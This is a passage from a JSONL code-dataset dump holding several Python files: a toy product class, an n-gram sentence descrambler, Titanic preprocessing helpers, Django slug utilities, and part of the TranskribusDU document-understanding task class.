stealable!'\r\n\r\n def explode(self):\r\n product = self.flammability * self.weight\r\n if product < 10:\r\n return '...fizzle.'\r\n elif product < 50:\r\n return '...boom!'\r\n else:\r\n return '...BABOOM!!'\r\n\r\n def __str__(self):\r\n return ('%s\\nPrice: %s\\nWeight: %s\\nFlammability: %s\\nIdentifier: %s' %\r\n (self.name, self.price, self.weight,\r\n self.flammability, self.identifier))\r\n\r\n\r\nclass BoxingGlove(Product):\r\n def __init__(self, name, price=10, weight=10, flammability=.5):\r\n Product.__init__(self, name, price, weight, flammability)\r\n self.weight = int(10)\r\n\r\n def explode(self):\r\n return \"...it's a glove.\"\r\n\r\n def punch(self):\r\n if self.weight < 5:\r\n return 'That tickles.'\r\n elif self.weight < 15:\r\n return 'Hey that hurt!'\r\n else:\r\n return 'OUCH!'\r\n","sub_path":"sprint/acme.py","file_name":"acme.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"27178101","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n# *neode.command* setgo python3 descramble.py\n\n# detta är alltså felix (första) metod med lite ökad vikt på trigram och\n# sentence starters/enders\n\nimport sys\nimport itertools\nimport random\nimport re\n\nfrom gramsearch import ngramscore, NGRAM_START, NGRAM_MID, NGRAM_END\n\nshowscores = False\n\nif len(sys.argv) > 1 and sys.argv[1] == '--eval':\n sys.argv.append(sys.stdin.read().strip())\n sentence = sys.argv[2].split(' ')\n scrambled = sys.argv[2].split(' ')\n showscores = True\nelif len(sys.argv) > 2:\n sentence = sys.argv[1].split(' ')\n scrambled = sys.argv[2].split(' ')\nelse:\n sentence = sys.argv[1].split(' ')\n scrambled = sys.argv[1].split(' ')\n\nsentence = list(map(lambda x: re.sub(r'[\\d.,]+', 'NUMBER', x), sentence))\nscrambled = list(map(lambda x: re.sub(r'[\\d.,]+', 'NUMBER', x), sentence))\n\nlista = itertools.permutations(scrambled)\n\nt = dict()\n\nleast_zeroes = len(sentence)*10\ncandidates = []\n\nfor perm in lista:\n bigrams = list(map(lambda x: ' '.join(x), zip(perm, perm[1:])))\n trigrams = list(map(lambda x: ' '.join(x), zip(perm, perm[1:], perm[2:])))\n zeroes = 0\n \n if not '^' + bigrams[0] in t:\n t['^' + bigrams[0]] = ngramscore(bigrams[0], NGRAM_START)\n \n if not bigrams[-1] + '$' in t:\n t[bigrams[-1] + '$'] = ngramscore(bigrams[-1], NGRAM_END)\n \n if not '^' + trigrams[0] in t:\n t['^' + trigrams[0]] = ngramscore(trigrams[0], NGRAM_START)\n \n if not trigrams[-1] + '$' in t:\n t[trigrams[-1] + '$'] = ngramscore(trigrams[-1], NGRAM_END)\n \n if t['^' + bigrams[0]] == 0:\n zeroes += 1\n if t['^' + trigrams[0]] == 0:\n zeroes += 1\n if t[bigrams[-1] + '$'] == 0:\n zeroes += 1\n if t[trigrams[-1] + '$'] == 0:\n zeroes += 1\n \n if zeroes > least_zeroes:\n continue\n \n for pair in bigrams[1:-1]:\n if not pair in t:\n t[pair] = ngramscore(pair, NGRAM_MID)\n \n if t[pair] == 0:\n zeroes += 1\n \n if zeroes > least_zeroes:\n continue\n \n for threes in trigrams[1:-1]:\n if not threes in t:\n t[threes] = ngramscore(threes, NGRAM_MID)\n \n if t[threes] == 0:\n zeroes += 1\n \n if zeroes > least_zeroes:\n continue\n \n if zeroes < least_zeroes:\n least_zeroes = zeroes\n # print('new least zeroes: {}'.format(least_zeroes))\n # print(z)\n candidates = [perm]\n elif zeroes == least_zeroes:\n # print('same least')\n # print(z)\n candidates.append(perm)\n\n# print(candidates)\n\nbest = 0\nans = []\n\nfor perm in candidates:\n bigrams = list(map(lambda x: ' '.join(x), zip(perm, perm[1:])))\n trigrams = list(map(lambda x: ' '.join(x), zip(perm, perm[1:], perm[2:])))\n score = 0\n \n score += t['^' + bigrams[0]] * 2 # * vikt för startar-mening\n score += t[bigrams[-1] + '$'] * 2 # * vikt för avslutar-mening\n \n score += t['^' + trigrams[0]] * 2 # * vikt för startar-mening\n score += t[trigrams[-1] + '$'] * 2 # * vikt för avslutar-mening\n \n for pair in bigrams[1:-1]:\n score += t[pair]\n \n for threes in trigrams[1:-1]:\n score += t[threes] * 3\n \n if score >= best:\n # print('new best {} @ {}'.format(str(perm), score))\n best = score\n ans = list(perm)\n\n\ndef calcscore(sentence, descrambled):\n strsent = ' '.join(sentence)\n score = 0\n total = 0\n \n for i in range(2, len(sentence) + 1):\n for j in range(0, len(sentence) - i + 1):\n total += 1\n strans = ' '.join(descrambled[j:j+i])\n \n # print(strans)\n \n if strans in strsent:\n score += 1\n \n return float(score) / float(total)\n\nrandomdescramble = list(sentence)\nrandom.shuffle(randomdescramble)\n\nif showscores:\n print('ours: {} | random: {}'.format(' '.join(ans), ' '.join(randomdescramble)))\n print('{:.2f} | {:.2f}'.format(calcscore(sentence, ans), calcscore(sentence, randomdescramble)))\nelse:\n print(' '.join(ans))\n","sub_path":"descramble.py","file_name":"descramble.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"511633231","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 16 09:29:19 2019\n\n@author: saurabh_mahambrey\n\"\"\"\n# required libraries:\nimport pandas as pd;\nimport numpy as np;\n\n\ndef numeric_mapper(df, column_name):\n mapper = {}\n data_list = df[column_name].unique()\n data_list = ['missing' if pd.isnull(x) else x for x in data_list]\n data_list.sort()\n for i in range(0, len(data_list)):\n if data_list[i] == 'missing':\n mapper[np.nan] = 404\n else:\n mapper[data_list[i]] = i\n return mapper\n\n\ndef data_preprocessor(df):\n df = (df.rename({'SibSp': '# of Siblings',\n 'Parch': '# of Parents',\n 'Sex': 'Gender',\n 'Pclass': 'Class'},\n axis=1)\n .drop(['Name', 'Ticket', 'PassengerId'], axis=1)\n .astype({'Gender': pd.api.types.CategoricalDtype(df['Sex'].unique(), ordered=False),\n 'Class': pd.api.types.CategoricalDtype(df['Pclass'].unique(), ordered=True)})\n # .replace({'Embarked' : {np.NaN : 'un-known'}})\n .replace({'Gender': numeric_mapper(df, 'Sex'),\n 'Embarked': numeric_mapper(df, 'Embarked'),\n 'Cabin': numeric_mapper(df, 'Cabin'),\n 'Age': {np.nan: 404}})\n\n # .loc[:]\n )\n return df\n\n\n# MinMax Scaler :\n\ndef min_max_scale_data(train_set, test_set):\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler(feature_range=(-1, 1))\n train_scaled = scaler.fit_transform(train_set)\n test_scaled = scaler.transform(test_set)\n return (train_scaled, test_scaled)\n\n\n# Standard Scaler:\n\n# scaled data to a mean = 0 , std = 1\ndef standard_scale_data(train_set, test_set):\n from sklearn.preprocessing import StandardScaler\n std_scaler = StandardScaler()\n std_scaler.fit(train_set)\n train_scaled = std_scaler.transform(train_set)\n test_scaled = std_scaler.transform(test_set)\n return (train_scaled, test_scaled)\n\n\n# PCA (Principal Component Analysis) :\n\ndef get_pca_dataset(train_set, test_set, features=2):\n from sklearn.decomposition import PCA\n train_scaled, test_scaled = standard_scale_data(train_set, test_set)\n pca = PCA(n_components=features)\n pca.fit(train_scaled)\n pca_train = pca.transform(train_scaled)\n pca_test = pca.transform(test_scaled)\n return (pca_train, pca_test)\n\n\n# Train Test Splitter:\n\ndef train_test_split_data(df):\n from sklearn.model_selection import train_test_split\n X_train, X_test, y_train, y_test = train_test_split(df.loc[:, df.columns != 'Survived'], df['Survived'],\n test_size=0.25, random_state=0)\n return (X_train, X_test, y_train, y_test)\n","sub_path":"titanic-survival-prediction/utilities/preprocessor_functions.py","file_name":"preprocessor_functions.py","file_ext":"py","file_size_in_byte":2814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"226325068","text":"\nimport os\nimport random\nimport re\nimport string\nfrom django.utils.text import slugify\n\n\ndef get_extenstion(filename: str) -> str:\n _, ext = os.path.split(os.path.basename(filename))\n return ext\n\n\ndef upload_image_path(instance, filename):\n ext = get_extenstion(filename)\n new_filename = f\"{random.randint(1,216546172576123)}{ext}\"\n return f\"image/products/{instance}{new_filename}\"\n\n\ndef random_string_generator(size=10, chars=string.ascii_lowercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef unique_slug_generator(instance, new_slug=None):\n \"\"\"\n This is for a Django project and it assumes your instance \n has a model with a slug field and a title character (char) field.\n \"\"\"\n if new_slug is not None:\n slug = new_slug\n else:\n slug = slugify(instance.title)\n\n Klass = instance.__class__\n qs_exists = Klass.objects.filter(slug=slug).exists()\n if qs_exists:\n new_slug = \"{slug}-{randstr}\".format(\n slug=slug,\n randstr=random_string_generator(size=4)\n )\n return unique_slug_generator(instance, new_slug=new_slug)\n return slug\n\n\ndef unique_order_generator(instance, new_order_id=None):\n \"\"\"\n This is for a Django project and it assumes your instance \n has a model with a slug field and a title character (char) field.\n \"\"\"\n oreder_id = f\"{random_string_generator(size=4)}-{instance.cart.id}\"\n\n Klass = instance.__class__\n qs_exists = Klass.objects.filter(order_id=oreder_id).exists()\n if qs_exists:\n oreder_id = f\"{random_string_generator(size=4)}-{oreder_id}\"\n return unique_order_generator(instance, oreder_id)\n return oreder_id\n\n\ndef verify_email(email):\n EMAIL_RGEX = re.compile(\"[^@]+@[^@]+\\.[^@]+\")\n return bool(re.match(EMAIL_RGEX, email))\n","sub_path":"ecommerce/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"154713186","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n DU task core.\n \n Copyright Xerox(C) 2016, 2017 JL. Meunier\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see .\n \n \n Developed for the EU project READ. The READ project has received funding \n from the European Union�s Horizon 2020 research and innovation programme \n under grant agreement No 674943.\n \n\"\"\"\nimport sys, os, glob, datetime\nimport json\nfrom importlib import import_module\nimport random\n\nimport numpy as np\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import ShuffleSplit\nfrom sklearn.model_selection import GridSearchCV #0.18.1 REQUIRES NUMPY 1.12.1 or more recent\n \ntry: #to ease the use without proper Python installation\n import TranskribusDU_version\nexcept ImportError:\n sys.path.append( os.path.dirname(os.path.dirname( os.path.abspath(sys.argv[0]) )) )\n import TranskribusDU_version\n\nfrom common.trace import trace, traceln\nfrom common.chrono import chronoOn, chronoOff\nfrom common.TestReport import TestReportConfusion\nfrom xml_formats.PageXml import MultiPageXml\n\nfrom graph.GraphModel import GraphModel, GraphModelException\nimport graph.FeatureDefinition\nfrom tasks import _checkFindColDir, _exit\n\n\nclass DU_Task:\n \"\"\"\nDocument Understanding class\n\nUSAGE:\n- get a CRF- or ECN-based instance by the getDoer class method\n- choose a model name and a folder where it will be stored\n- define the features and their configuration, or a list of (feature definition and its configuration)\n- choose to learn using CRF or ECN (via command line options or method)\n- define the learner configuration\n- run the do method\n\n doer = DU_Task.getDoer(sModelDir, sModelName, getConfiguredGraphClass, options=.., bCRF=.., bECN=.., )\n # here, you can configure it further if needed ...\n # use the standard command line options to do something\n doer.standardDo(options)\n del doer\n \nMETHODs:\n- training: train_save_test\n- loading a trained model: load\n- testing a trained model: test\n- removing a model from the disk: rm\n- if you want to use specific features: setFeatureDefinition\n- if you want to also train/test against some baseline model: setBaselineList, addBaseline_LogisticRegression \n\nSee DU_StAZH_b.py\n\n \"\"\"\n VERSION = \"DU_Task_v19\" \n \n version = None # dynamically computed\n \n cModelClass = None #depends on the number of node types!\n cGraphClass = None #class of graph in use \n \n cFeatureDefinition = None # FeatureDefinition_PageXml_StandardOnes #I keep this for backward compa\n \n sMetadata_Creator = \"NLE Document Understanding\"\n sMetadata_Comments = \"\"\n\n #dGridSearch_LR_conf = {'C':[0.1, 0.5, 1.0, 2.0] } #Grid search parameters for LR baseline method training\n dGridSearch_LR_conf = {'C':[0.01, 0.1, 1.0, 10.0] } #Grid search parameters for LR baseline method training\n dGridSearch_LR_n_jobs = 4 #Grid search: number of jobs\n \n # why this old-stuff?? sXmlFilenamePattern = \"*[0-9]\"+MultiPageXml.sEXT #how to find the Xml files\n sXmlFilenamePattern = \"*\"+MultiPageXml.sEXT #how to find the Xml files\n\n iNbNodeType = 1 # as of today, only CRF can do multitype\n \n def configureGraphClass(self, configuredClass=None):\n \"\"\"\n class method to set the graph class ONCE (subsequent calls are ignored)\n \"\"\"\n if self.cGraphClass is None: #OK, let's set the class attribute!\n \n #if nothing in parameter, or we call the class method\n if configuredClass is None:\n configuredClass = self.getConfiguredGraphClass()\n \n assert configuredClass is not None, \"getConfiguredGraphClass returned None\"\n \n self.cGraphClass = configuredClass\n\n assert self.cGraphClass is not None\n traceln(\"SETUP: Graph class is %s (graph mode %d)\" % (self.cGraphClass, self.cGraphClass.getGraphMode()))\n \n return self.cGraphClass\n\n @staticmethod\n def DYNAMIC_IMPORT(name, package=None):\n chronoOn(\"import\")\n trace(\"SETUP: Dynamic import of '%s' from '%s'\" % (name, package))\n m = import_module(name, package)\n traceln(\" done [%.1fs]\" % chronoOff(\"import\"))\n return m\n\n \n def __init__(self, sModelName, sModelDir\n , sComment = None\n , cFeatureDefinition = None\n , dFeatureConfig = {}\n ): \n self.sModelName = sModelName\n self.sModelDir = sModelDir\n if sComment: \n self.sMetadata_Comments = sComment\n\n self.configureGraphClass()\n\n \n self._mdl = None\n \n # for the conjugate mode\n self.bConjugate = False\n self.nbEdgeClass = None\n \n self._lBaselineModel = []\n self.bVerbose = True\n \n #for single- or multi-type CRF, the same applies!\n self.lNbClass = [len(nt.getLabelNameList()) for nt in self.cGraphClass.getNodeTypeList()]\n self.nbClass = sum(self.lNbClass)\n self.iNbNodeType = len(self.cGraphClass.getNodeTypeList())\n\n #--- feature definition and configuration per type\n #Feature definition and their config\n if cFeatureDefinition: self.cFeatureDefinition = cFeatureDefinition\n assert issubclass(self.cFeatureDefinition, graph.FeatureDefinition.FeatureDefinition), \"Your feature definition class must inherit from graph.FeatureDefinition.FeatureDefinition\"\n \n self.config_extractor_kwargs = dFeatureConfig\n\n self.config_learner_kwargs = None # to be set\n self.cModelClass = None # to be specialized\n\n #--- DOER --------------------------------------------------------------------\n @classmethod\n def getVersion(cls):\n return str(cls.VERSION) \n\n def standardDo(self, options):\n \"\"\"\n do whatever is reuested by an option from the parsed command line\n \n return None\n \"\"\"\n if options.rm:\n self.rm()\n return\n \n lTrn, lTst, lRun, lFold = [_checkFindColDir(lsDir) for lsDir in [options.lTrn, options.lTst, options.lRun, options.lFold]]\n \n # Validation set if any\n try:\n ratio_train_val = float(options.lVld[0])\n lVld = []\n if ratio_train_val <= 0 or 1.0 <= ratio_train_val: raise Exception(\"Bad ratio, not in ]0, 1[\")\n except:\n ratio_train_val = None\n lVld = _checkFindColDir(options.lVld)\n \n #traceln(\"- classes: \", doer.getGraphClass().getLabelNameList())\n \n ## use. a_mpxml files\n #doer.sXmlFilenamePattern = doer.sLabeledXmlFilenamePattern\n \n if options.iFoldInitNum or options.iFoldRunNum or options.bFoldFinish:\n if options.iFoldInitNum:\n \"\"\"\n initialization of a cross-validation\n \"\"\"\n splitter, ts_trn, lFilename_trn = self._nfold_Init(lFold, options.iFoldInitNum, test_size=0.25, random_state=None, bStoreOnDisk=True)\n elif options.iFoldRunNum:\n \"\"\"\n Run one fold\n \"\"\"\n oReport = self._nfold_RunFoldFromDisk(options.iFoldRunNum, options.warm, options.bPkl)\n traceln(oReport)\n elif options.bFoldFinish:\n tstReport = self._nfold_Finish()\n traceln(tstReport)\n else:\n assert False, \"Internal error\"\n\n return\n \n \n if lFold:\n loTstRpt = self.nfold_Eval(lFold, 3, .25, None, options.bPkl)\n sReportPickleFilename = os.path.join(self.sModelDir, self.sModelName + \"__report.txt\")\n traceln(\"Results are in %s\"%sReportPickleFilename)\n GraphModel.gzip_cPickle_dump(sReportPickleFilename, loTstRpt)\n elif lTrn or lTst or lRun:\n if lTrn:\n tstReport = self.train_save_test(lTrn, lTst, lVld, options.warm, options.bPkl\n , ratio_train_val=ratio_train_val)\n try: traceln(\"Baseline best estimator: %s\"%self.bsln_mdl.best_params_) #for GridSearch\n except: pass\n traceln(self.getModel().getModelInfo())\n if lTst:\n traceln(tstReport)\n if options.bDetailedReport:\n traceln(tstReport.getDetailledReport())\n elif lTst:\n self.load()\n tstReport = self.test(lTst)\n traceln(tstReport)\n if options.bDetailedReport:\n traceln(tstReport.getDetailledReport())\n for test in lTst:\n sReportPickleFilename = os.path.join('..',test, self.sModelName + \"__report.pkl\")\n traceln('Report dumped into %s'%sReportPickleFilename)\n GraphModel.gzip_cPickle_dump(sReportPickleFilename, tstReport)\n \n if lRun:\n# if options.storeX or options.applyY:\n# try: self.load()\n# except: pass #we only need the transformer\n# lsOutputFilename = self.runForExternalMLMethod(lRun, options.storeX, options.applyY, options.bRevertEdges)\n# else:\n self.load()\n lsOutputFilename = self.predict(lRun, bGraph=options.bGraph)\n \n traceln(\"Done, see in:\\n %s\"%lsOutputFilename)\n else:\n traceln(\"No action specified in command line. Doing nothing... :)\")\n \n return\n\n def __del__(self):\n \"\"\"\n trying to clean big objects\n \"\"\"\n del self._mdl\n del self._lBaselineModel\n del self.cFeatureDefinition\n del self.cModelClass \n \n \n #--- CONFIGURATION setters --------------------------------------------------------------------\n def getGraphClass(self): \n return self.cGraphClass\n \n def setModelClass(self, cModelClass): \n self.cModelClass = cModelClass\n traceln(\"SETUP: Model class changed to \", self.cModelClass.__name__)\n assert issubclass(self.cModelClass, GraphModel), \"Your model class must inherit from graph.GraphModel.GraphModel\"\n \n def getModelClass(self): \n return self.cModelClass\n \n def getModel(self): \n return self._mdl\n \n def setLearnerConfiguration(self, dLearnerConfig, bCommandLineInput=False):\n if bCommandLineInput:\n # Because of the way of dealing with the command line, we may get singleton instead of scalar. We fix this here\n self.config_learner_kwargs = {k:v[0] if type(v) is list and len(v)==1 else v for k,v in dLearnerConfig.items()}\n else:\n self.config_learner_kwargs = dLearnerConfig\n \n traceln(\"SETUP:\", json.dumps(self.config_learner_kwargs\n , sort_keys=True, indent=4))\n \n \n\n def getStandardLearnerConfig(self, options):\n \"\"\"\n Once the command line has been parsed, you can get the standard learner\n configuration dictionary from here.\n \"\"\"\n traceln(\"WARNING: no learner configuration by default!!!\")\n return {}\n \n \"\"\"\n When some class is not represented on some graph, you must specify the number of class (per type if multiple types)\n Otherwise pystruct will complain about the number of states differeing from the number of weights\n \"\"\"\n def setNbClass(self, useless_stuff): #DEPRECATED - DO NOT CALL!! Number of class computed automatically\n traceln(\"SETUP: *** setNbClass is deprecated - update your code (but it should work fine!)\")\n \n def getNbClass(self): #OK\n \"\"\"\n return the total number of classes\n \"\"\"\n return self.nbClass\n \n def setConjugateMode(self\n , lEdgeLabel = None # list of labels (list of strings, or of int)\n , funEdgeLabel_get = None # to compute the edge labels\n , funEdgeLabel_set = None # to use the predicted edge labels\n ):\n \"\"\"\n to learn and predict on the conjugate graph instead of the usual graph.\n 1 - The usual graph is created as always\n 2 - the function is called on each edge to compute the edge label\n 3 - the conjugate is created and used for learning or predicting\n 4 - the function is called on each edge to exploit the edge predicted label\n \n \n The prototype of the functions are:\n funEdgeLabel_get(primal_graph, primal_X, primal_Y) \n -> dual_Y\n funEdgeLabel_set(primal_graph, nd_node, edge_matrix, dual_Y) \n -> None\n \n the dual_Y has as many rows as the primal Edge array, and in the same order\n this order also corresponds to the lEdge attribute of the graph object\n \n In case the graph has some pre-established settings, you can omit the parameters.\n \"\"\"\n self.bConjugate = True\n self.cModelClass.setConjugateMode()\n self.cGraphClass.setConjugateMode(lEdgeLabel\n , funEdgeLabel_get\n , funEdgeLabel_set)\n self.nbEdgeLabel = len(self.cGraphClass.getEdgeLabelNameList())\n \n return self.bConjugate\n \n \n #---------------------------------------------------------------------------------------------------------- \n def setBaselineList(self, lMdl):\n \"\"\"\n Add one or several baseline methods.\n set one or a list of sklearn model(s):\n - they MUST be initialized, so that the fit method can be called at train time\n - they MUST accept the sklearn usual predict method\n - they SHOULD support a concise __str__ method\n They will be trained with the node features, from all nodes of all training graphs\n \"\"\"\n self._lBaselineModel = lMdl\n \n def getBaselineList(self):\n return self._lBaselineModel\n \n def addBaseline_LogisticRegression(self):\n \"\"\"\n add as Baseline a Logistic Regression model, trained via a grid search\n \"\"\"\n #we always have one LR model per type (yes, even for single type ! ;-) )\n mdl = GridSearchCV(LogisticRegression(class_weight='balanced') \n , self.dGridSearch_LR_conf\n , n_jobs=self.dGridSearch_LR_n_jobs) \n \n return mdl\n\n #---------------------------------------------------------------------------------------------------------- \n # in case you want no output at all on stderr\n def setVerbose(self, bVerbose) : self.bVerbose = bVerbose \n def getVerbose(self) : return self.bVerbose \n \n def traceln(self, *kwargs) : \n if self.bVerbose: traceln(*kwargs)\n \n #---------------------------------------------------------------------------------------------------------- \n def load(self, bForce=False):\n \"\"\"\n Load the model from the disk\n if bForce == True, force the load, even if the model is already loaded in memory\n \"\"\"\n if bForce or not self._mdl:\n self.traceln(\"- loading a %s model\"%self.cModelClass)\n self._mdl = self.cModelClass(self.sModelName, self.sModelDir)\n self._mdl.load()\n self.traceln(\" done\")\n else:\n self.traceln(\"- %s model already loaded\"%self.cModelClass)\n \n return\n \n def rm(self):\n \"\"\"\n Remove from the disk any file for this model!!!\n \"\"\"\n mdl = self.cModelClass(self.sModelName, self.sModelDir)\n \n for s in [ mdl.getModelFilename()\n , mdl.getTransformerFilename()\n , mdl.getConfigurationFilename()\n , mdl.getBaselineFilename()\n , mdl._getParamsFilename(self.sModelName, self.sModelDir) ]:\n if os.path.exists(s):\n self.traceln(\"\\t - rm %s\"%s) \n os.unlink(s)\n if os.path.exists(self.sModelDir) and not os.listdir(self.sModelDir):\n self.traceln(\"\\t - rmdir %s\"%self.sModelDir) \n os.rmdir(self.sModelDir)\n return \n \n def train_save_test(self, lsTrnColDir, lsTstColDir, lsVldColDir, bWarm=False, bPickleXY=False\n , ratio_train_val=None):\n \"\"\"\n - Train a model on the tTRN collections, if not empty.\n - Test the trained model using the lTST collections, if not empty.\n - Also train/test any baseline model associated to the main model.\n - Trained models are saved on disk, for testing, redicting or further training (by warm-start)\n - if bWarm==True: warm-start the training from any data stored on disk. Otherwise, a non-empty model folder raises a GraphModelException\n return a test report object\n \"\"\"\n self.traceln(\"-\"*50)\n self.traceln(\"Model files of '%s' in folder '%s'\"%(self.sModelName, self.sModelDir))\n self.traceln(\"Training with collection(s):\", lsTrnColDir)\n self.traceln(\"Testing with collection(s):\", lsTstColDir)\n if lsVldColDir: self.traceln(\"Validating with collection(s):\", lsVldColDir)\n self.traceln(\" (File pattern is %s)\" % self.sXmlFilenamePattern)\n self.traceln(\"-\"*50)\n \n #list the train and test files\n #NOTE: we check the presence of a digit before the '.' to eclude the *_du.xml files\n ts_trn, lFilename_trn = self.listMaxTimestampFile(lsTrnColDir, self.sXmlFilenamePattern)\n _ , lFilename_tst = self.listMaxTimestampFile(lsTstColDir, self.sXmlFilenamePattern)\n _ , lFilename_vld = self.listMaxTimestampFile(lsVldColDir, self.sXmlFilenamePattern)\n \n self.traceln(\"- creating a %s model\"%self.cModelClass)\n oReport = self._train_save_test(self.sModelName, bWarm, lFilename_trn, ts_trn, lFilename_tst, lFilename_vld, bPickleXY\n , ratio_train_val=ratio_train_val)\n\n\n return oReport\n\n def test(self, lsTstColDir):\n \"\"\"\n test the model\n return a TestReport object\n \"\"\"\n self.traceln(\"-\"*50)\n self.traceln(\"Trained model '%s' in folder '%s'\"%(self.sModelName, self.sModelDir))\n self.traceln(\"Testing collection(s):\", lsTstColDir)\n self.traceln(\"-\"*50)\n \n if not self._mdl: raise Exception(\"The model must be loaded beforehand!\")\n \n #list the train and test files\n _ , lFilename_tst = self.listMaxTimestampFile(lsTstColDir, self.sXmlFilenamePattern)\n \n DU_GraphClass = self.cGraphClass\n \n lPageConstraint = DU_GraphClass.getPageConstraint()\n if lPageConstraint: \n for dat in lPageConstraint: self.traceln(\"\\t\\t%s\"%str(dat))\n \n if True:\n oReport = self._mdl.testFiles(lFilename_tst, lambda fn: DU_GraphClass.loadGraphs(self.cGraphClass, [fn], bDetach=True, bLabelled=True, iVerbose=1)\n , self.getBaselineList() != [])\n else:\n self.traceln(\"- loading test graphs\")\n lGraph_tst = DU_GraphClass.loadGraphs(self.cGraphClass, lFilename_tst, bDetach=True, bLabelled=True, iVerbose=1)\n if self.bConjugate:\n for _g in lGraph_tst: _g.computeEdgeLabels()\n \n self.traceln(\" %d graphs loaded\"%len(lGraph_tst))\n oReport = self._mdl.test(lGraph_tst)\n\n return oReport\n\n\n def predict(self, lsColDir, docid=None, bGraph=False):\n \"\"\"\n Return the list of produced files\n \"\"\"\n self.traceln(\"-\"*50)\n self.traceln(\"Predicting for collection(s):\", lsColDir)\n self.traceln(\"-\"*50)\n\n if not self._mdl: raise Exception(\"The model must be loaded beforehand!\")\n\n #list files\n if docid is None:\n _ , lFilename = self.listMaxTimestampFile(lsColDir, self.sXmlFilenamePattern)\n # predict for this file only\n else:\n try:\n lFilename = [os.path.abspath(os.path.join(lsColDir[0], docid+MultiPageXml.sEXT ))]\n except IndexError:\n raise Exception(\"a collection directory must be provided!\")\n\n\n DU_GraphClass = self.getGraphClass()\n\n lPageConstraint = DU_GraphClass.getPageConstraint()\n if lPageConstraint:\n for dat in lPageConstraint: self.traceln(\"\\t\\t%s\"%str(dat))\n\n chronoOn(\"predict\")\n self.traceln(\"- loading collection as graphs, and processing each in turn. (%d files)\"%len(lFilename))\n du_postfix = \"_du\"+MultiPageXml.sEXT\n lsOutputFilename = []\n for sFilename in lFilename:\n if sFilename.endswith(du_postfix): continue #:)\n chronoOn(\"predict_1\")\n lg = DU_GraphClass.loadGraphs(self.cGraphClass, [sFilename], bDetach=False, bLabelled=False, iVerbose=1)\n #normally, we get one graph per file, but in case we load one graph per page, for instance, we have a list\n if lg:\n for i, g in enumerate(lg):\n doc = g.doc\n if lPageConstraint:\n self.traceln(\"\\t- prediction with logical constraints: %s\"%sFilename)\n else:\n self.traceln(\"\\t- prediction : %s\"%sFilename)\n\n if self.bConjugate:\n Y = self._mdl.predict(g, bProba=True)\n g.exploitEdgeLabels(Y)\n else:\n Y = self._mdl.predict(g)\n g.setDomLabels(Y)\n if bGraph: g.addEdgeToDOM(Y)\n del Y\n\n MultiPageXml.setMetadata(doc, None, self.sMetadata_Creator, self.sMetadata_Comments)\n sDUFilename = sFilename[:-len(MultiPageXml.sEXT)] +du_postfix\n doc.write(sDUFilename,\n xml_declaration=True,\n encoding=\"utf-8\",\n pretty_print=True\n #compression=0, #0 to 9\n )\n del doc\n del lg\n\n lsOutputFilename.append(sDUFilename)\n else:\n self.traceln(\"\\t- no prediction to do for: %s\"%sFilename)\n\n self.traceln(\"\\t done [%.2fs]\"%chronoOff(\"predict_1\"))\n self.traceln(\" done [%.2fs]\"%chronoOff(\"predict\"))\n\n return lsOutputFilename\n\n def runForExternalMLMethod(self, lsColDir, storeX, applyY, bRevertEdges=False):\n \"\"\"\n HACK: to test new ML methods, not yet integrated in our SW: storeX=None, storeXY=None, applyY=None\n Return the list of produced files\n \"\"\"\n\n self.traceln(\"-\"*50)\n if storeX: traceln(\"Loading data and storing [X] (1 X per graph)\")\n if applyY: traceln(\"Loading data, loading Y, labelling data, storing annotated data\")\n self.traceln(\"-\"*50)\n\n if storeX and applyY:\n raise ValueError(\"Either store X or applyY, not both\")\n\n if not self._mdl: raise Exception(\"The model must be loaded beforehand!\")\n \n #list files\n _ , lFilename = self.listMaxTimestampFile(lsColDir, self.sXmlFilenamePattern)\n \n DU_GraphClass = self.getGraphClass()\n\n lPageConstraint = DU_GraphClass.getPageConstraint()\n if lPageConstraint: \n for dat in lPageConstraint: self.traceln(\"\\t\\t%s\"%str(dat))\n \n if applyY: \n self.traceln(\"LOADING [Y] from %s\"%applyY)\n lY = self._mdl.gzip_cPickle_load(applyY)\n if storeX: lX = []\n \n chronoOn(\"predict\")\n self.traceln(\"- loading collection as graphs, and processing each in turn. (%d files)\"%len(lFilename))\n du_postfix = \"_du\"+MultiPageXml.sEXT\n lsOutputFilename = []\n for sFilename in lFilename:\n if sFilename.endswith(du_postfix): continue #:)\n chronoOn(\"predict_1\")\n lg = DU_GraphClass.loadGraphs(self.cGraphClass, [sFilename], bDetach=False, bLabelled=False, iVerbose=1)\n #normally, we get one graph per file, but in case we load one graph per page, for instance, we have a list\n if lg:\n for g in lg:\n if self.bConjugate: g.computeEdgeLabels()\n doc = g.doc\n if bRevertEdges: g.revertEdges() #revert the directions of the edges\n if lPageConstraint:\n self.traceln(\"\\t- prediction with logical constraints: %s\"%sFilename)\n else:\n self.traceln(\"\\t- prediction : %s\"%sFilename)\n if storeX:\n [X] = self._mdl.get_lX([g])\n lX.append(X)\n else:\n Y = lY.pop(0)\n g.setDomLabels(Y)\n del lg\n \n if applyY:\n MultiPageXml.setMetadata(doc, None, self.sMetadata_Creator, self.sMetadata_Comments)\n sDUFilename = sFilename[:-len(MultiPageXml.sEXT)]+du_postfix\n doc.saveFormatFileEnc(sDUFilename, \"utf-8\", True) #True to indent the XML\n doc.freeDoc()\n lsOutputFilename.append(sDUFilename)\n else:\n self.traceln(\"\\t- no prediction 